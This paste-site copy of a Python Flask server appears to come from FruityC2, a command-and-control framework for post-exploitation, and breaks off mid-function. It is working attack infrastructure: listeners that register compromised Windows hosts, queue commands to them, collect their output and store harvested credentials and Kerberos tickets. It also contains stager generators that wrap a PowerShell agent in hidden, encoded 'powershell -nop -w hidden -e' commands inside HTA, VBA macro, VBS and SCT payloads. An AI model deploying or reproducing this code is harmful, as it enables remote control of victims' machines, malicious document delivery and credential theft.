· 5 years ago · Feb 09, 2020, 04:26 AM
1#!/usr/bin/python
2
3# Copyright (C) 2017 xtr4nge [_AT_] gmail.com
4#
5# This program is free software: you can redistribute it and/or modify
6# it under the terms of the GNU General Public License as published by
7# the Free Software Foundation, either version 3 of the License, or
8# (at your option) any later version.
9#
10# This program is distributed in the hope that it will be useful,
11# but WITHOUT ANY WARRANTY; without even the implied warranty of
12# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13# GNU General Public License for more details.
14#
15# You should have received a copy of the GNU General Public License
16# along with this program. If not, see <http://www.gnu.org/licenses/>.
17#
18
19import os, sys, getopt
20import traceback
21import re
22import json
23import time, datetime
24import base64
25import binascii
26import zlib
27import glob
28from multiprocessing import Process
29import socket
30import ssl
31import hashlib
32import threading
33import requests
34from configobj import ConfigObj
35
36# LIBS
37from lib.global_data import *
38from lib.Utils import *
39from lib.EmpireHelpers import *
40from lib.Control import *
41
42from gevent.pywsgi import WSGIServer
43
44
45# FLASK
46from flask import Flask
47from flask import Response
48from flask import request
49from flask import render_template
50from flask import escape
51from flask import make_response
52from flask import send_from_directory
53from flask import redirect
54from flask import url_for
55from werkzeug import secure_filename
56#from flask.ext.cors import CORS # DEPRECTAED
57from flask_cors import CORS
58
59import flask_login as flask_login
60
61import logging
62log = logging.getLogger('werkzeug')
63log.setLevel(logging.ERROR)
64
65requests.packages.urllib3.disable_warnings() # DISABLE SSL CHECK WARNINGS
66
67# LOAD PARAMETERS
68(profileConfig, server_ip, server_port) = parseOptions(sys.argv[1:])
69
70config = ConfigObj("config/settings.conf")
71
72# FRUITYC2 BANNER
73__version__ = config["__version__"]
74print_banner(__version__)
75
76# GLOBAL VARS
77server_ssl = ""
78server_cert = ""
79if server_ip == "": server_ip = config["server"]["ip"]
80if server_port == "": server_port = config["server"]["port"]
81if server_ssl == "": server_ssl = config["server"]["ssl"]
82if server_cert == "": server_cert = config["server"]["cert"]
83if server_ssl.lower() == "true":
84 server_ssl = True
85else:
86 server_ssl = False
87if config["server"]["secret_key_random"].lower() == "true":
88 # IT FORCES RE-LOGIN AFTER START SERVER
89 server_secret_key = random_hexdigits(50)
90else:
91 server_secret_key = config["server"]["secret_key"]
92
93source_control_allow = config["source"]["control"]["allow"]
94source_agents_allow = config["source"]["agents"]["allow"]
95
96#sys.exit()
97
98payload = {}
99web_delivery = {}
100listener = {}
101listener_details = {}
102commands_help = {}
103
104profile_file = profileConfig
105key = 'SECRET' # NOT IMPLEMENTED
106utimestamp = int(time.time())
107gdata.load_command = "ipconfig|%s" % utimestamp
108
109control = Control()
110
111# LOAD CONFIG
112try:
113 with open('config/payload.json') as data:
114 payload = json.load(data)
115except: save_log_traceback(traceback.format_exc())
116
117try:
118 with open('config/web_delivery.json') as data:
119 web_delivery = json.load(data)
120except: save_log_traceback(traceback.format_exc())
121
122try:
123 with open('config/listener.json') as data:
124 listener_details = json.load(data)
125 for port in listener_details:
126 listener[port] = ""
127except: save_log_traceback(traceback.format_exc())
128
129try:
130 with open('config/target.json') as data:
131 gdata.target = json.load(data)
132except:
133 gdata.target = {}
134 save_log_traceback(traceback.format_exc())
135
136try:
137 with open('data/credentials.json') as data:
138 gdata.credentials = json.load(data)
139except:
140 gdata.credentials = {}
141 save_log_traceback(traceback.format_exc())
142
143try:
144 with open('data/credentials_spn.json') as data:
145 gdata.credentials_spn = json.load(data)
146except:
147 gdata.credentials_spn = {}
148 save_log_traceback(traceback.format_exc())
149
150try:
151 with open('data/credentials_ticket.json') as data:
152 gdata.credentials_ticket = json.load(data)
153except:
154 gdata.credentials_ticket = {}
155 save_log_traceback(traceback.format_exc())
156
157try:
158 with open('config/commands.json') as data:
159 commands_help = json.load(data)
160except: save_log_traceback(traceback.format_exc())
161
162# START FLASK LISTENER
163def run_server(id, port):
164 #context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
165 #context.load_cert_chain('nginx.crt', 'nginx.key')
166 #app.run(host='0.0.0.0', port=int(x), debug=False, ssl_context=context)
167 app.run(host='0.0.0.0', port=int(port), debug=False)
168
169# ------ EXPERIMENTAL ---------
170# REF: http://flask.pocoo.org/snippets/122/
171
172from flask import after_this_request, request
173from cStringIO import StringIO as IO
174import gzip
175import functools
176
177def gzipped(f):
178 @functools.wraps(f)
179 def view_func(*args, **kwargs):
180 @after_this_request
181 def zipper(response):
182 accept_encoding = request.headers.get('Accept-Encoding', '')
183
184 if 'gzip' not in accept_encoding.lower():
185 return response
186
187 response.direct_passthrough = False
188
189 if (response.status_code < 200 or
190 response.status_code >= 300 or
191 'Content-Encoding' in response.headers):
192 return response
193 gzip_buffer = IO()
194 gzip_file = gzip.GzipFile(mode='wb',
195 fileobj=gzip_buffer)
196 gzip_file.write(response.data)
197 gzip_file.close()
198
199 response.data = gzip_buffer.getvalue()
200 response.headers['Content-Encoding'] = 'gzip'
201 response.headers['Vary'] = 'Accept-Encoding'
202 response.headers['Content-Length'] = len(response.data)
203
204 return response
205
206 return f(*args, **kwargs)
207
208 return view_func
209# ------ END EXPERIMENTAL -----
210
211# FLASK START/STOP
212def flask_init(x, port, v_ssl, v_cert):
213 try:
214 if v_ssl: #listener_details[port]["ssl"]:
215 # REF: http://werkzeug.pocoo.org/docs/0.11/serving/
216 ##context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
217 ##context.load_cert_chain('certs/nginx.crt', 'certs/nginx.key')
218 if v_cert != "":
219 context = ("certs/"+v_cert, "certs/"+v_cert)
220 else:
221 context = ('certs/fruityc2.pem', 'certs/fruityc2.pem')
222 app.run(host='0.0.0.0', port=int(port), debug=False, ssl_context=context)
223 else:
224 app.run(host='0.0.0.0', debug=False, port=int(port))
225 except Exception as e:
226 #print traceback.print_exc()
227 save_log_traceback(traceback.format_exc())
228 app.run(host='0.0.0.0', debug=False, port=int(port))
229 #app.run(host='0.0.0.0', port=int(port))
230
231 #print "bye %s" % port # UPDATE STATUS HERE [global]
232 listener_details[port]["open"] = False
233 if option_debug: listener_show()
234
235def flask_start(port):
236 print "Starting Listener %s%s:%s%s" % (bcolors.BOLD, listener_details[port]["host"], port, bcolors.ENDC)
237 v_ssl = listener_details[port]["ssl"]
238 v_cert = listener_details[port]["cert"]
239 listener[port] = threading.Thread(name=str(port), target=flask_init, args=(1, port, v_ssl, v_cert))
240 listener[port].setDaemon(True)
241 listener[port].start()
242 listener_details[port]["open"] = True
243 if option_debug: listener_show()
244
245def flask_stop(port):
246 print "Stopping Listener %s%s:%s%s" % (bcolors.BOLD, listener_details[port]["host"], port, bcolors.ENDC)
247 v_ssl = listener_details[port]["ssl"]
248 if v_ssl: # listener_details[port]["ssl"]:
249 r = requests.get('https://127.0.0.1:%s/shutdown' % port, verify=False)
250 else:
251 r = requests.get('http://127.0.0.1:%s/shutdown' % port)
252 #print r.status_code
253 if option_debug: listener_show()
254
255def flask_shutdown():
256 func = request.environ.get('werkzeug.server.shutdown')
257 if func is None:
258 raise RuntimeError('Not running with the Werkzeug Server')
259 func()
260
261def listener_show():
262 for i in listener_details:
263 print listener_details[i]
264 print
265
266# LOAD JSON PROFILE
267def load_profile(json_file):
268 with open(json_file) as data_file:
269 profile = json.loads(data_file.read())
270 return profile
271
272# SET PROFILE SERVER HEADERS
273def set_headers(profile, section, resp):
274 for i in profile[section]["server"]["header"]:
275 key = i.split(" ")[0]
276 value = re.sub('^'+key+" ", '', i)
277 resp.headers[key] = value
278 return resp
279
280def save_log_raw_alert(request, level, msg):
281 try:
282 timestamp = int(time.time())
283 data = {
284 "id": timestamp,
285 "timestamp": timestamp,
286 "source": "%s" % request.access_route[-1],
287 "useragent": "%s" % request.user_agent,
288 "query": "%s" % request.query_string,
289 "cookies": "%s" % request.cookies,
290 "referrer": "%s" % request.referrer,
291 "remote": "%s" % request.remote_addr,
292 "route": "%s" % request.access_route[-1],
293 "path": "%s" % request.path,
294 "level": "%s" % level,
295 "msg": "%s" % msg
296 }
297 f = open('logs/alert.json', 'a+')
298 f.write(json.dumps(data) + "\n")
299 f.close()
300 except:
301 save_log_traceback(traceback.print_exc()) #print traceback.print_exc()
302
303def debug_request(request):
304 print "source: %s\n" % request.access_route[-1],
305 print "useragent: %s\n" % request.user_agent,
306 print "query: %s\n" % request.query_string,
307 print "cookies: %s\n" % request.cookies,
308 print "referrer: %s\n" % request.referrer,
309 print "remote: %s\n" % request.remote_addr,
310 print "route: %s\n" % request.access_route[-1],
311 print "path: %s\n" % request.path,
312
313# RETURN HEADERS FOR ACCESS DENIED
314def get_profile_headers_denied():
315 profile = load_profile(profile_file)
316 #resp = make_response(render_template('errors/404.html'), 404)
317 resp = make_response(render_template('errors/403.html'), 403)
318 resp = set_headers(profile, "http-get", resp)
319 return resp
320
321# RETURN HEADERS FOR ACCESS DENIED
322def get_profile_headers_error(code):
323 profile = load_profile(profile_file)
324 resp = make_response(render_template('errors/%s.html' % code), code)
325 resp = set_headers(profile, "http-get", resp)
326 return resp
327
328# GET POWERSHELL AGENT
329def getAgentPS():
330 with open('agent/ps_agent.ps1') as f:
331 data = f.read()
332
333 data = strip_powershell_comments(data)
334 return data
335
336# VERIFY IF SOURCE IP IS ALLOWED
337def validate_source_ip_OLD(request):
338 source_ip = request.access_route[-1]
339 allowed = source_control_allow
340 if source_ip not in allowed:
341 save_log_raw_alert(request, "high", "unauthorized access attempt")
342 if option_debug:
343 print "%s%s[!]%s Unauthorized Access Attempt: %s" % (bcolors.RED, bcolors.BOLD, bcolors.ENDC, source_ip)
344 print "User-Agent: %s" % request.user_agent
345 print "Query: %s" % request.query_string
346 print "Cookies: %s" % request.cookies
347 print "Referrer: %s" % request.referrer
348 print "Remote: %s" % request.remote_addr
349 print "Route: %s" % str(request.access_route)
350 print "Path: %s" % str(request.path)
351 print
352 resp = Response(".")
353 return True
354 else:
355 return False
356
357# VERIFY IF SOURCE IP IS ALLOWED
358def validate_source_ip__WORKING(request, protect):
359 source_ip = request.access_route[-1]
360 allowed = config["source"][protect]["allow"]
361 if "*" not in allowed:
362 if source_ip not in allowed:
363 save_log_raw_alert(request, "high", "unauthorized access attempt")
364 if option_debug:
365 print "%s%s[!]%s Unauthorized Access Attempt: %s" % (bcolors.RED, bcolors.BOLD, bcolors.ENDC, source_ip)
366 print "User-Agent: %s" % request.user_agent
367 print "Query: %s" % request.query_string
368 print "Cookies: %s" % request.cookies
369 print "Referrer: %s" % request.referrer
370 print "Remote: %s" % request.remote_addr
371 print "Route: %s" % str(request.access_route)
372 print "Path: %s" % str(request.path)
373 print
374 resp = Response(".")
375 return True
376
377 return False
378
379def validate_source_ip(request, protect):
380 source_ip = request.access_route[-1]
381 allowed = config["source"][protect]["allow"]
382
383 if IPSourceValidator(source_ip, allowed):
384 return False
385 else:
386 save_log_raw_alert(request, "high", "unauthorized access attempt")
387 if option_debug:
388 print "%s%s[!]%s Unauthorized Access Attempt: %s" % (bcolors.RED, bcolors.BOLD, bcolors.ENDC, source_ip)
389 print "User-Agent: %s" % request.user_agent
390 print "Query: %s" % request.query_string
391 print "Cookies: %s" % request.cookies
392 print "Referrer: %s" % request.referrer
393 print "Remote: %s" % request.remote_addr
394 print "Route: %s" % str(request.access_route)
395 print "Path: %s" % str(request.path)
396 print
397 resp = Response(".")
398 return True
399
400 return False
401
402
403def beaconSendTask(request):
404 profile = load_profile(profile_file)
405 target_data = ""
406
407 timestamp = int(time.time())
408
409 #target_data = rx_data(request.cookies.get('SESSIONID')).split("|")
410 session_id = profile["session_id"]
411 try:
412 if request.cookies.get(session_id): target_data = rx_data(request.cookies.get(session_id)).split("|")
413 except:
414 save_log_traceback(traceback.format_exc()) #print traceback.print_exc()
415
416 if target_data == "": return False
417
418 uuid = target_data[0]
419 os_version = target_data[1]
420 user = target_data[2]
421 label = target_data[3]
422 name = target_data[4]
423 ip = target_data[5]
424 os_arch = "32-bit" # target_data[6] # NOT IMPLEMENTED
425 mode = target_data[7]
426
427 if uuid not in gdata.target:
428 print "%s%s[NEW BEACON]%s" % (bcolors.GREEN, bcolors.BOLD, bcolors.ENDC)
429 print "%sUUID:%s %s" % (bcolors.BOLD, bcolors.ENDC, uuid)
430 print "%sVERSION:%s %s" % (bcolors.BOLD, bcolors.ENDC, os_version)
431
432 gdata.target[uuid] = {
433 "os_version": os_version,
434 "os_arch": os_arch,
435 "name": name,
436 "ip": ip,
437 "exec": "",
438 "last_command": "",
439 "sleep": 5,
440 "user": user,
441 "checkin": timestamp,
442 "level": int(label), # 0=Untrusted, 1=Low, 2=Medium, 3=High, 4=System :: [Integrity Level]
443 "mode": mode, #normal, proxy, passive, webpipe
444 "route": ""
445 }
446
447 store_target() # STORE TARGETS
448 save_log_json(uuid) # STORE LOGS
449
450 #resp = Response(".|0") # THIS NEEDS TO BE CHANGED
451 resp = Response("") # THIS NEEDS TO BE CHANGED
452
453 # SET PROFILE
454 resp = set_headers(profile, "http-get", resp)
455
456 return resp
457
458 elif gdata.target[uuid]["exec"] != "":
459 print "%s%s[BEACON]%s" % (bcolors.GREEN, bcolors.BOLD, bcolors.ENDC)
460 print "%sUUID:%s %s" % (bcolors.BOLD, bcolors.ENDC, uuid)
461 print "%sVERSION:%s %s" % (bcolors.BOLD, bcolors.ENDC, os_version)
462 print "%sCOMMAND:%s %s" % (bcolors.BOLD, bcolors.ENDC, gdata.target[uuid]["exec"][:50])
463 print
464
465 gdata.target[uuid]["checkin"] = timestamp
466
467 save_log_json(uuid) # STORE LOGS
468
469 #print "DEBUG SEND TASK: %s" % gdata.target[uuid]["exec"][:200]
470
471 data = tx_data(gdata.target[uuid]["exec"]) # ENCRYPT/ENCODE DATA TO TRANSFER
472 gdata.target[uuid]["exec"] = ""
473
474 return data # load_command encoded B64
475
476 elif uuid in gdata.target:
477 gdata.target[uuid]["checkin"] = timestamp
478
479 data = tx_data("?|0") # ENCRYPT/ENCODE DATA TO TRANSFER [THIS NEEDS TO BE CHANGED]
480
481 #resp = Response(data)
482 resp = Response("")
483
484 # SET PROFILE
485 resp = set_headers(profile, "http-get", resp)
486 return resp
487
488def beaconGetData(request):
489 profile = load_profile(profile_file)
490
491 try:
492 if option_base64:
493 data = request.data
494 data = data.replace("send=", "")
495 data = data.replace(profile["http-post"]["client"]["id"][0]+"=", "")
496 #print data
497 data_size = sys.getsizeof(data)
498
499 data = rx_data(data) # DECODE/DECRYPT RECEIVED DATA
500 data = data.split("\n")
501
502 else:
503 data = request.data
504 data = data.replace("send=", "")
505 data = data.replace(profile["http-post"]["client"]["id"][0]+"=", "")
506
507 data = rx_data(data) # DECODE/DECRYPT RECEIVED DATA
508 data_size = sys.getsizeof(data)
509 data = data.split("\n")
510
511 # GET TARGET UNIQID
512 uuid = get_uuid(request)["uuid"]
513 # OLD [SEND]
514 #print "%s%s[SEND-TASK]%s" % (bcolors.CYAN, bcolors.BOLD, bcolors.ENDC)
515 print "%s%s[GET-RESULT]%s" % (bcolors.CYAN, bcolors.BOLD, bcolors.ENDC)
516 print "%sUUID:%s %s" % (bcolors.BOLD, bcolors.ENDC, uuid)
517 print "%s%s[+]%s %s bytes" % (bcolors.GREEN, bcolors.BOLD, bcolors.ENDC, data_size)
518 print
519
520 # ---------- PATCH NEW MODES ------------ -> THIS NEEDS TO BE DONE BY [LINK] COMMAND
521 if uuid not in gdata.target:
522 session_id = profile["session_id"]
523 target_data = rx_data(request.cookies.get(session_id)).split("|")
524 #print target_data
525
526 timestamp = int(time.time())
527
528 #target_data = rx_data(request.cookies.get('SESSIONID')).split("|")
529 session_id = profile["session_id"]
530 target_data = rx_data(request.cookies.get(session_id)).split("|")
531
532 uuid = target_data[0]
533 os_version = target_data[1]
534 user = target_data[2]
535 label = target_data[3]
536 name = target_data[4]
537 ip = target_data[5]
538 os_arch = "32-bit" # target_data[6] # NOT IMPLEMENTED
539 mode = target_data[7]
540
541 print "%s%s[NEW BEACON]%s" % (bcolors.GREEN, bcolors.BOLD, bcolors.ENDC)
542 print "%sUUID:%s %s" % (bcolors.BOLD, bcolors.ENDC, uuid)
543 print "%sVERSION:%s %s" % (bcolors.BOLD, bcolors.ENDC, os_version)
544
545 gdata.target[uuid] = {
546 "os_version": os_version,
547 "os_arch": os_arch,
548 "name": name,
549 "ip": ip,
550 "exec": "",
551 "last_command": "",
552 "sleep": 5,
553 "user": user,
554 "checkin": timestamp,
555 "level": int(label), # 0=Untrusted, 1=Low, 2=Medium, 3=High, 4=System :: [Integrity Level]
556 "mode": mode, #normal, proxy, passive, webpipe
557 "route": ""
558 }
559
560 store_target() # STORE TARGETS
561 save_log_json(uuid) # STORE LOGS
562 # ---------- PATCH NEW MODES ------------./
563
564 # STORE CHECKIN TIME
565 timestamp = int(time.time())
566 if data[0].startswith("linked:"):
567 gdata.target[uuid]["route"] = data[0].replace("linked:","")
568 #gdata.target[uuid]["proxy"] = "%s:%s" % ("localhost", "8080")
569 gdata.target[uuid]["proxy"] = gdata.proxy
570
571 gdata.target[uuid]["checkin"] = timestamp
572 store_target()
573
574 content = ""
575 for line in data:
576 if option_debug: print line.strip()
577 content += line.strip() + "\n"
578 try:
579 last_command = gdata.target[uuid]["last_command"].strip()
580 if option_debug: print "DEBUG: %s" % last_command
581 except:
582 last_command = ""
583 if option_debug: print "DEBUG [ERROR]: %s" % last_command
584 save_log_traceback(traceback.format_exc())
585
586 # PROCESS RESPONSE FROM AGENT/TARGET
587 content = control.get_response(content, last_command, uuid)
588
589 now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
590 save_log_raw(uuid, "[+] received %s bytes \n[+] received output (%s): \n" % (data_size, str(now)))
591 save_log_raw(uuid, content)
592
593 resp = Response(".")
594
595 # SET PROFILE
596 resp = set_headers(profile, "http-get", resp)
597
598 return resp
599
600 except:
601 save_log_traceback(traceback.format_exc())
602 print traceback.print_exc()
603 return "error.."
604
605def setAgent(request):
606 profile = load_profile(profile_file)
607 target_data = ""
608
609 data = "%s" % profile["sleeptime"]
610 data += "|%s" % profile["jitter"]
611 data += "|%s" % profile["useragent"]
612 data += "|%s" % profile["http-get"]["uri"]
613 data += "|%s" % profile["http-post"]["uri"]
614 data += "|%s" % profile["http-post"]["client"]["id"][0]
615 data += "|%s" % profile["session_id"]
616 data += "|%s" % base64.b64encode(getAgentPS())
617
618 timestamp = int(time.time())
619
620 #target_data = rx_data(request.cookies.get('SESSIONID')).split("|")
621 #session_id = profile["session_id"]
622 #target_data = rx_data(request.cookies.get(session_id)).split("|")
623
624 # SEARCH SESSION_ID
625 #print request.cookies
626 for cookie_name in request.cookies:
627 try:
628 print "checking stager..."
629 target_data = rx_data(request.cookies.get(cookie_name)).split("|")
630 except:
631 print "error on stager..."
632 save_log_traceback(traceback.format_exc())
633
634 if target_data == "": return False
635
636 uuid = target_data[0]
637 os_version = target_data[1]
638 user = target_data[2]
639 label = target_data[3]
640 name = target_data[4]
641 ip = target_data[5]
642 os_arch = target_data[6]
643 mode = target_data[7]
644
645 if uuid not in gdata.target:
646 print "%s%s[NEW BEACON STAGER]%s" % (bcolors.GREEN, bcolors.BOLD, bcolors.ENDC)
647 print "%sUUID:%s %s" % (bcolors.BOLD, bcolors.ENDC, uuid)
648 print "%sVERSION:%s %s" % (bcolors.BOLD, bcolors.ENDC, os_version)
649 print
650
651 gdata.target[uuid] = {
652 "os_version": os_version,
653 "os_arch": os_arch,
654 "name": name,
655 "ip": ip,
656 "exec": "",
657 "last_command": "",
658 "sleep": 5,
659 "user": user,
660 "checkin": timestamp,
661 "level": int(label), # 0=Untrusted, 1=Low, 2=Medium, 3=High, 4=System :: [Integrity Level]
662 "mode": mode,
663 "route": ""
664 }
665
666 store_target() # STORE TARGETS
667 save_log_json(uuid) # STORE LOGS
668
669 resp = Response(tx_data(data))
670
671 # SET PROFILE
672 resp = set_headers(profile, "http-get", resp)
673 return resp
674
675# START FLASK
676app = Flask(__name__)
677app.config['UPLOAD_FOLDER'] = "uploads"
678app.config['WTF_CSRF_ENABLED'] = True
679app.config['SECRET_KEY'] = server_secret_key
680CORS(app) # Flask-Cors
681
682# -------------- AUTHENTICATION -------------
683login_manager = flask_login.LoginManager()
684login_manager.init_app(app)
685
686# LOAD USERS/PASSWORDS
687users = config["user"]
688
689class User(flask_login.UserMixin):
690 pass
691
692@login_manager.user_loader
693def user_loader(username):
694 if username not in users:
695 return
696
697 user = User()
698 user.id = username
699 return user
700
701@login_manager.request_loader
702def request_loader(request):
703 username = request.form.get('username')
704
705 if username not in users:
706 return
707
708 user = User()
709 user.id = username
710
711 try:
712 print request.form['pw']
713 if request.form['pw'] == users[username]['pw']:
714 return user
715 #user.is_authenticated = request.form['pw'] == users[username]['pw']
716 except:
717 print traceback.format_exc()
718
719@login_manager.unauthorized_handler
720def unauthorized_callback():
721 return redirect('/login')
722
723# -------------- AUTHENTICATION END -------------
724
725@app.route('/favicon.ico')
726def favicon():
727 return send_from_directory(os.path.join(app.root_path, 'static'),
728 'favicon.ico', mimetype='image/vnd.microsoft.icon')
729
730@app.route('/')
731@app.route('/index')
732def index():
733 profile = load_profile(profile_file)
734 save_log_raw_alert(request, "low", "default")
735
736 #return render_template('index.html'), 200
737 resp = make_response(render_template('index.html'), 200)
738 resp = set_headers(profile, "http-get", resp)
739 #resp.headers['Content-Type'] = "text/html; charset=utf-8"
740 return resp
741
742def get_uuid(request):
743 profile = load_profile(profile_file)
744
745 #target_data = rx_data(request.cookies.get('SESSIONID')).split("|")
746 session_id = profile["session_id"]
747 target_data = rx_data(request.cookies.get(session_id)).split("|")
748
749 #print target_data
750 uuid = target_data[0]
751 os_version = target_data[1]
752 user = target_data[2]
753 label = target_data[3]
754 name = target_data[4]
755 ip = target_data[5]
756 os_arch = "32-bit" #target_data[6]
757 mode = "normal" #target_data[7]
758
759 data = {}
760 data["uuid"] = uuid
761 data["os_version"] = os_version
762 data["user"] = user
763 data["label"] = label
764 data["name"] = name
765 data["ip"] = ip
766 data["os_arch"] = os_arch
767 data["mode"] = mode
768
769 return data
770
771@app.route('/control/<command>')
772def bot_control(command):
773 # VERIFY IF SOURCE IP IS ALLOWED
774 if validate_source_ip(request, "control"): return get_profile_headers_denied()
775 print "x..."
776 utimestamp = int(time.time())
777 gdata.load_command = ("%s|%s") % (command, utimestamp)
778 return gdata.load_command
779
780# SET COMMANDS AND ACTIONS
781@app.route('/control', methods=['GET'])
782def bot_control_get():
783 #debug_request(request)
784 # VERIFY IF SOURCE IP IS ALLOWED
785 if validate_source_ip(request, "control"): return get_profile_headers_denied()
786
787
788 try:
789 print "%s%s[SET-TASK]%s" % (bcolors.RED, bcolors.BOLD, bcolors.ENDC)
790
791 param = request.args.get('v')
792 param_target = request.args.get('t')
793 if (param_target) == "":
794 print "ERROR: TARGET NOT SELECTED\n"
795 return Response(json.dumps("ERROR: TARGET NOT SELECTED"))
796
797 print "%sUUID:%s %s" % (bcolors.BOLD, bcolors.ENDC, param_target)
798 print "%sCOMMAND:%s %s" % (bcolors.BOLD, bcolors.ENDC, param)
799 print
800
801 # SEND COMMAND TO PROXY
802 #set_proxy_task*localhost*8080*1487672089*powershell ls
803
804 # GET RESULT FROM PROXY
805 #get_proxy_result*localhost*8080*1487672089
806
807 if gdata.target[param_target]["mode"] == "passive":
808 proxy = gdata.target[param_target]["proxy"].split(":")
809 proxy_dest = proxy[0]
810 proxy_port = proxy[1]
811
812 #print "DEBUG EXEC: %s" % param
813
814 proxy_param = "set_proxy_task*%s*%s*%s*%s" % (proxy_dest, proxy_port, param_target, param)
815 proxy_param = "%s*%s*%s" % (proxy_dest, proxy_port, param_target)
816 proxy_target = gdata.target[param_target]["route"]
817
818 gdata.target[param_target]["last_command"] = proxy_param + param
819
820 #print "DEBUG: %s" % proxy_param
821 save_log_raw(param_target, "[*] set command: %s \n" % param[:500])
822
823 # SET CONTROL COMMAND [Control.py]
824 #_exec = control.set_command(proxy_param + param, proxy_target, proxy_param)
825 _exec = control.set_command(param, proxy_target, proxy_param)
826
827 resp = Response(json.dumps(_exec))
828
829 else:
830
831 gdata.target[param_target]["last_command"] = param
832
833 save_log_raw(param_target, "[*] set command: %s \n" % param[:500])
834
835 # SET CONTROL COMMAND
836 _exec = control.set_command(param, param_target, "")
837
838 resp = Response(json.dumps(_exec))
839 return resp
840 except:
841 save_log_traceback(traceback.format_exc()) #if option_debug: print traceback.print_exc()
842 return Response(json.dumps("ERROR_CONTROL"))
843
844# TARGET DETAILS [JSON]
845@app.route('/target')
846def get_target():
847 # VERIFY IF SOURCE IP IS ALLOWED
848 if validate_source_ip(request, "control"): return get_profile_headers_denied()
849 #if validate_source_ip(request, "control"): return render_template('errors/403.html'), 403
850
851 resp = Response(json.dumps(gdata.target))
852 return resp
853
854# EXIT TARGET
855@app.route('/target_exit')
856def target_exit():
857 # VERIFY IF SOURCE IP IS ALLOWED
858 if validate_source_ip(request, "control"): return get_profile_headers_denied()
859
860 param_target = request.args.get('t')
861 del gdata.target[param_target]
862 store_target()
863
864 resp = Response("done")
865 return resp
866
867# -----------------------
868# PAYLOADS
869# -----------------------
870
871# SET PAYLOAD
872def set_payload_template(template, payload_code, listener_id):
873 profile = load_profile(profile_file)
874
875 #useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
876 useragent = profile["useragent"]
877 path = profile["http-get"]["uri"]
878 domain = listener_details[listener_id]["host"]
879 port = str(listener_id)
880 if listener_details[listener_id]["ssl"]:
881 ssl = "s"
882 else: ssl = ""
883 pg_header = "|".join(profile["http-get"]["client"]["header"])
884
885 data = ""
886 with open(template) as f:
887 for line in f:
888 #line = line.strip()
889
890 if "**useragent**" in line:
891 line = line.replace("**useragent**", useragent)
892 if "**domain**" in line:
893 line = line.replace("**domain**", domain)
894 if "**port**" in line:
895 line = line.replace("**port**", port)
896 if "**path**" in line:
897 line = line.replace("**path**", path)
898 if "**payload_code**" in line:
899 line = line.replace("**payload_code**", payload_code)
900 if "**ssl**" in line:
901 line = line.replace("**ssl**", ssl)
902 if "**pg_header**" in line:
903 line = line.replace("**pg_header**", pg_header)
904 data += line
905
906 return data
907
908def set_payload_delivery_code(template, payload_code):
909 data = ""
910 with open(template) as f:
911 for line in f:
912
913 if "**useragent**" in line:
914 line = line.replace("**useragent**", useragent)
915 if "**domain**" in line:
916 line = line.replace("**domain**", domain)
917 if "**port**" in line:
918 line = line.replace("**port**", port)
919 if "**path**" in line:
920 line = line.replace("**path**", path)
921 if "**payload_code**" in line:
922 line = line.replace("**payload_code**", payload_code)
923 if "**ssl**" in line:
924 line = line.replace("**ssl**", ssl)
925 if "**pg_header**" in line:
926 line = line.replace("**pg_header**", pg_header)
927 data += line
928
929 return data
930
931# GENERATE ENCODED COMMNAD
932@app.route('/generate/encoder/<code>')
933def generate_code_encoded(code):
934 # VERIFY IF SOURCE IP IS ALLOWED
935 if validate_source_ip(request, "control"): return get_profile_headers_denied()
936
937 #code = base64.b64decode(code)
938 code = b64decoder(code)
939 #data = powershell_encoder_deflate(code)
940 data = powershell_encoder(code)
941
942 data = base64.b64encode(data)
943 resp = Response(json.dumps(data))
944 return resp
945
946def set_payload_delivery_type(gen_payload, code):
947
948 try:
949 stager = code
950
951 if gen_payload == "powershell":
952 data = "%s" % stager
953
954 elif gen_payload == "powershell-command":
955 # Powershell EncodedCommand output
956 data = "powershell -nop -w hidden -e %s" % powershell_encoder_deflate(code)
957
958 elif gen_payload == "hta":
959 payload_code = "powershell.exe -nop -w hidden -e %s" % powershell_encoder_deflate(code)
960 data = set_payload_delivery_code("payload_template/payload_hta.txt", payload_code)
961
962 elif gen_payload == "vba":
963
964 line = powershell_encoder_deflate(code)
965 n = 900
966 encoded_chunks = [line[i:i+n] for i in range(0, len(line), n)]
967
968 payload_code = "\"powershell.exe -nop -w hidden -e \"\n"
969 for i in encoded_chunks:
970 payload_code += "Code = Code & \"%s\"\n" % i
971
972 data = set_payload_delivery_code("payload_template/payload_vba.txt", payload_code)
973
974 elif gen_payload == "vbs":
975 payload_code = "powershell.exe -nop -w hidden -e %s" % powershell_encoder_deflate(code)
976 data = set_payload_delivery_code("payload_template/payload_vbs.txt", payload_code)
977
978 elif gen_payload == "sct":
979 payload_code = "powershell.exe -nop -w hidden -e %s" % powershell_encoder_deflate(code)
980 data = set_payload_delivery_code("payload_template/payload_sct.txt", payload_code)
981
982 return data
983 except:
984 save_log_traceback(traceback.format_exc())
985
986# GENERATE CODE STAGER
987@app.route('/generate/proxy/<gen_port>/<gen_payload>')
988def generate_code_proxy(gen_port, gen_payload):
989 # VERIFY IF SOURCE IP IS ALLOWED
990 if validate_source_ip(request, "control"): return get_profile_headers_denied()
991
992 data = ""
993 with open("agent/ps_proxy.ps1") as f:
994 for line in f:
995 if "**port**" in line:
996 line = line.replace("**port**", gen_port)
997 data += line
998
999 proxy = strip_powershell_comments(data)
1000
1001 # SET PAYLOAD DELIVERY TYPE WITH PROXY
1002 data = set_payload_delivery_type(gen_payload, proxy)
1003
1004 data = base64.b64encode(data)
1005 resp = Response(json.dumps(data))
1006 return resp
1007
1008# GENERATE CODE STAGER
1009@app.route('/generate/<gen_listener>/<gen_payload>')
1010def generate_code(gen_listener, gen_payload):
1011 # VERIFY IF SOURCE IP IS ALLOWED
1012 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1013
1014 global listener_details
1015
1016 useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
1017 domain = listener_details[gen_listener]["host"]
1018 #port = "80"
1019 port = str(gen_listener)
1020 path = "agent"
